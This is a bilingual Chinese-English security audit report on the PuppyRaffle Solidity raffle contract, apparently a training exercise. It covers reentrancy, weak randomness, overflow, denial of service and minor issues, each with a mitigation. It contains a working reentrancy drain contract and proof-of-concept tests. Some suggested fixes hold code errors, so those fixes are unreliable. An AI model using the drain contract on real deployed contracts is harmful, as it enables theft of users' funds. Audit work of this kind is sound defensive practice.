Protocol Audit Report

Jaunepr

June 24, 2024

Prepared by: Jaunepr Lead Auditors: - Jaunepr

Table of Contents

    * [M-1] 检查 players 序列重复项的循环，来自`PuppyRaffle::enterRaffle`是一个潜在的拒绝服务攻击漏洞（Dos），对于后来的参与者，Gas 费用不断递增。
    * [M-2] 没有`fallback`或`receive`函数的智能合约账户（即不接受转账的智能合约账户）获胜的话，会导致无法开启下一次抽奖。
  - LOW
    * [L-1] `PuppyRaffle::getActivePlayerIndex` 函数返回 0 时，即可以代表玩家不存在于`players`序列，也可以代表玩家是序列中的第一个，这样会产生歧义。
  - Gas
    * [G-1] Unchanged state varliables should be declared constant or immutable
    * [G-2] Storage Variables in a Loop Should be Cached
  - Information
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdate version of Solidity is not recommended.
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::_isActivePlayer()` are dead_code.
    * [I-5] `PuppyRaffle::selectWinner` 没有遵循 CEI 原则，不是一个好的编程实例。
    * [I-6] 不鼓励使用”magic”数字

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

(Blablabla) The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in the document correspond the following commit hash:

```
Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
#—— PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

审查过程摘要 使用了 *Foundry* 测试框架，*slither&Adyren* 静态分析工具

Issues found

Impact	issue number
High	3
Medium	2
Low	1
Info	6
Gas	2
Total	14

Findings

HIGH

[H-1] Reentracy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

description： `PuppyRaffle::refund` 未遵循 CEI（check，effects，interactions）原则，结果会导致参与者提取合约的所有余额。

在 `PuppyRaffle::refund` 函数中，我们先发送了一个 external call 给`msg.sender`地址（即合约给用户转账），并且当这个 external call 生效后才更新`PuppyRaffle::players`序列的状态。

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
```

```
8               playerAddress != address(0),
9               "PuppyRaffle: Player already refunded, or is not active"
10          );
11  @>      payable(msg.sender).sendValue(entranceFee);
12  @>      players[playerIndex] = address(0);
13          emit RaffleRefunded(playerAddress);
14      }
```

此时一个玩家可以有一个`fallback`/`receive`函数再去调用`PuppyRaffle::refund`，如此循环直到合约余额耗尽。

impact： PuppyRaffle 合约的所有余额会被恶意玩家偷光。

proof of concept： 1. 用户进入抽奖系统。2. 攻击者设置一个合约，其中`fallback`函数调用`PuppyRaffle::refund`函数。3. 攻击者使用合约进入抽奖系统。4. 攻击者使用合约第一次调用`PuppyRaffle::refund`函数,然后自动构成循环偷光所有余额。

Proof of Code：

TestCode

将如下代码放到`PuppyRaffleTest.t.sol`

```
function test_ReentranceRefund() public {
        //users enter raffle
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: players.length * entranceFee}(players);

        // create Attacker contract and attacker
        ReentrancyAttacker reentranceAttackercontract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        // get the balance with nothing happend
        uint256 attackerStartBalance = address(reentranceAttackercontract)
            .balance;
        uint256 puppyRaffleContractStartBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attacker);
        reentranceAttackercontract.attack{value: entranceFee}();

        // check the impact
        console.log(
            "reentranceAttackercontractStartBalance: ",
            attackerStartBalance
        );
        console.log(
```

```
            "puppyRaffleContractStartBalance: ",
            puppyRaffleContractStartBalance
        );
        console.log(
            "puppyRaffleContractEndBalance: ",
            address(puppyRaffle).balance
        );
        console.log(
            "attackContractEndBalance: ",
            address(reentranceAttackercontract).balance
        );
    }
```

如下是攻击者的合约

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

缓解措施: 为了防止这种情况，我们应该将`PuppyRaffle::refund`函数中`players`序列状态的更新放在外部调用（转账）的前面，另外也要将 emit 移动到前面。

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
```

```
5               "PuppyRaffle: Only the player can refund"
6           );
7           require(
8               playerAddress != address(0),
9               "PuppyRaffle: Player already refunded, or is not active"
10          );
11  +       players[playerIndex] = address(0);
12  +       emit RaffleRefunded(playerAddress);
13          payable(msg.sender).sendValue(entranceFee);
14  -       players[playerIndex] = address(0);
15  -       emit RaffleRefunded(playerAddress);
16      }
```

[H-2] PuppyRaffle::selectWinner 中使用的 keccak256(),msg.sender, block.timestamp,block.difficulty 值是弱随机的，会使得用户影响或预测最终的获胜者与获得的 puppy NFT。

描述： 通过哈希`msg.sender`,`block.timestamp`,`block.difficulty`创造的值是可预测的，这样的值不是一个好的随机数，恶意用户可以操纵或预测这些值来使他们自己成为获胜者。如果预测的获胜者不是他们自己，他们可以提前调用`refund`函数。

影响： 任何人都可以影响抽奖的结果，赢取奖金并获得最稀有的 puppy NFT。使得整个系统毫无意义变成 Gas 战。

概念证明： 1. validator 可以提前知道`block.timestamp`,`block.difficulty`,并且运用它们提前预测什么时间参与能获胜。2. 用户可以操纵/修改他们的`msg.sender`的值来使得获胜者是他们自己。3. 用户如果不喜欢结果，可以回滚他们的`selectWinner`交易使用链上的值作为随机数种子，在区块链中是一种常见的攻击手段。

缓解措施推荐考虑使用可加密证明的随机数生成器，例如 chainlink VRF。

[H-3] PuppyRaffle::totalFees 有整数溢出的风险，当溢出时会导致资金损失。

描述： 在 solidity 版本`0.8.0`之前，整数类型值超过上界会发生溢出而不报错，`uint64`类型的`totalFees`，最大能存储的值为 18.446744073709551615，当资金超过这个值时会发生溢出，资金将会损失。

```
1  uint64 myVar = type(uint64).max;
2  // myVar will be 18446744073709551615
3  myVar = myVar + 1;
4  // myVar will be 0
```

影响： 在`PuppyRaffle::selectWinner`中`totalFees`的值会累加直到之后在`feeAddress`中提取。一旦`totalFees`溢出上界，`feeAddress`将提取不了正确数量的 fees，会使一部分 fees 将永久的卡在合约中。

概念证明： 1. 首先我们用 4 名玩家的参与抽奖，然后提取 fees。2. 然后我们用 89 名玩家再次参与抽奖，然后提取 fees。3. totalFees 将会变成

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. 之后由于PuppyRaffle::withdrawFees里的下面一行，导致无法提取；

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
    currently players active!");
```

尽管您可以使用 selfdestruct 将 ETH 销毁，以使值匹配并提取费用，但这显然不是合约的目的，且损失了利益。

代码证明

将以下代码放入PuppyRaffleTest.t.sol中

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second
            raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

缓解措施: 1. 使用 0.8.0 以上不会默认允许整数溢出错误的 solidity 版本。如果非要用 0.8.0 以下的旧版本，可以使用 OpenZeppelin 中的`SafeMath`库来防止整数溢出。

```
-   pragma solidity ^0.7.6;
+   pragma solidity ^0.8.18;
```

2. 使用范围更大的`uint256`代替`uint64`

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
```

3. 最好移除在`PuppyRaffle::withdrawFees`中的余额检查。

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
    currently players active!");
```

MEDIUM

[M-1] 检查 players 序列重复项的循环，来自 `PuppyRaffle::enterRaffle` 是一个潜在的拒绝服务攻击漏洞（Dos），对于后来的参与者，Gas 费用不断递增。

描述: `PuppyRaffle::enterRaffle`函数为了检查`players`序列中的重复项，循环该序列，然而随着`PuppyRaffle::players`序列的不断增加，新参与者将会做更多的检查，意味着比之前的参与者需要支付更多的 Gas 费用。

```
// @audit: Dos attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

影响: 参与者支付的 Gas 成本将会随着参与人数的增加而不断增长，会导致后来的参与者不愿参加，并在抽奖刚开始时争抢成为第一个参与者。攻击者也许会故意使`PuppyRaffle::players`变得很大，以至于没有其他人参与，保证他们的获胜。

代码证明: 如果我们有 200 名参与者，gas 成本将如下所示：gas cost of first 100 players: 6252048 gas cost of 2nd 100 players: 18068138

后一百名参与者的 gas 成本会是前一百名参与者的 3 倍左右。

测试代码如下

```
function test_denialOfService_EnterRaffle() public {
        // set gas fee
        vm.txGasPrice(1);
        //set 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(uint160(i));
        }
        // How much gas it cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("gas cost of first 100 players:", gasUsedFirst);

        // The 2nd 100 players
        address[] memory players_2nd = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players_2nd[i] = address(uint160(i + 100));
        }
        // How much gas it cost
        uint256 gasStart_2nd = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players_2nd.length}(
            players_2nd
        );
        uint256 gasEnd_2nd = gasleft();

        uint256 gasUsed_2nd = (gasStart_2nd - gasEnd_2nd) * tx.gasprice;
        console.log("gas cost of 2nd 100 players:", gasUsed_2nd);
    }
```

缓解措施以下有些缓解措施的建议 1. 考虑允许重复。用户可以随便开通新的账户地址，并不能阻止一个用户用多钱包账户重复参与项目，只能阻止同一钱包账户重复参与。2. 如果必须保留这个功能，可以考虑使用 OpenZeppelin 的`EnumerableSet`库。

```
+   import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";

+   contract PuppyRaffle is ERC721, Ownable {
        using Address for address payable;
+       using EnumerableSet for EnumerableSet.AddressSet;
        .
        .
+       // Declare a set state variable
+       EnumerableSet.AddressSet private playerSet;
        .
        .
        function enterRaffle(address[] memory newPlayers) public payable {
            require(
                msg.value == entranceFee * newPlayers.length,
                "PuppyRaffle: Must send enough to enter raffle"
            );
            for (uint256 i = 0; i < newPlayers.length; i++) {
```

```
18                  players.push(newPlayers[i]);
19  +               require(!playerSet.contain(newPlayers[i]), "duplicate players")
    ;
20  +               playerSet.add(newPlayers[i]);
21
22              }
23
24  -           // Check for duplicates
25  -           for (uint256 i = 0; i < players.length - 1; i++) {
26  -               for (uint256 j = i + 1; j < players.length; j++) {
27  -                   require(
28  -                       players[i] != players[j],
29  -                       "PuppyRaffle: Duplicate player"
30  -                   );
31  -               }
32  -           }
33              emit RaffleEnter(newPlayers);
34          }
35          .
36          .
37          .
38  +       function selectWinner() external {
39  +           delete playerSet;
40  +       }
41  +   }
```

[M-2] 没有 `fallback` 或 `receive` 函数的智能合约账户（即不接受转账的智能合约账户）获胜的话，会导致无法开启下一次抽奖。

描述： `PuppyRaffle::selectWinner`函数会负责抽奖的重启. 然而如果是拒绝转账的智能合约账户获胜, 抽奖将不能重启。**影响：** `PuppyRaffle::selectWinner`函数会多次回滚, 使得抽奖不能重启，并且真正的获胜者不能获得奖金。**概念证明：** 1. 假如 10 个没有`fallback`/`receive`函数的智能合约账户参与抽奖。2. 当抽奖结束时 3. `selectWinner`将不能工作, 甚至抽奖系统直接结束! **缓解措施：** 1. 不允许智能合约用户参加 (不推荐)。2. 创建一个 addresses -> payout 的映射 mapping, 这样用户可以自己提取奖金, 将所有权归于获胜者去领取他们的奖 (推荐)。

LOW

[L-1] `PuppyRaffle::getActivePlayerIndex` 函数返回 0 时，即可以代表玩家不存在于 `players` 序列，也可以代表玩家是序列中的第一个，这样会产生歧义。

description： 如果第一个参与 raffle 的玩家，查询 index 会返回 0，但根据注释，返回 0 代表该用户不在 players 序列中

```
1       /// @notice a way to get the index in the array
2       /// @param player the address of a player in the raffle
```

```
    /// @return the index of the player in the array, if they are not active,
        it returns 0
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

impact：会让第一个参与 Raffle 的玩家以为自己并未参加，从而尝试再次参与导致成本过高。

概念证明： 1. 第一个用户参与 Raffle; 2. `PuppyRaffle::getActivePlayerIndex`函数返回 0; 3. 该用户根据文档说明，认为自己未参与 Raffle

缓解措施：1. 如果用户不存在于`players`序列中，将回滚替代返回 0；2. 如果用户不存在于`players`序列中，返回`int256`类型-1；

Gas

[G-1] Unchanged state varliables should be declared constant or immutable

Reading from storage is much more expensive than reading from constant or immutable varliable.

Instances: - `PuppyRaffle.raffleDuration` (src/PuppyRaffle.sol#26) should be `immutable` - `PuppyRaffle.commonImageUri` (src/PuppyRaffle.sol#40-41) should be `constant` - `PuppyRaffle.legendaryImageUri` (src/PuppyRaffle.sol#52-53) should be `constant` - `PuppyRaffle.rareImageUri` (src/PuppyRaffle.sol#46-47) should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call players.length you read from storage, as opposed to memory which is more gas efficient.

缓解措施： you could add the code in `PuppyRaffle::enterRaffle`

```
+       uint256 memory playersLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
```

```
9                     );
10                }
```

Information

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdate version of Solidity is not recommended.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 221

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::_isActivePlayer()` are dead_code.

description: `PuppyRaffle::_isActivePlayer()` function not used

impact: dead_code is not used in the contract, and make the code’s review more difficult

Recommendation: Remove unused functions.

[I-5] `PuppyRaffle::selectWinner` 没有遵循 CEI 原则，不是一个好的编程实例。

最好保持代码整洁并且遵循 CEI 原则，防止一些不必要的漏洞出现。

```
+       _safeMint(winner, tokenId);
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
-       _safeMint(winner, tokenId);
```

[I-6] 不鼓励使用”magic”数字

在代码库中看见数字可读性差且令人困惑。使用变量命名这些数字会更具可读性

Instance:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

作为替代，可以使用以下代码：

```
uint256 public constant PRICE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PERCITION = 100;
```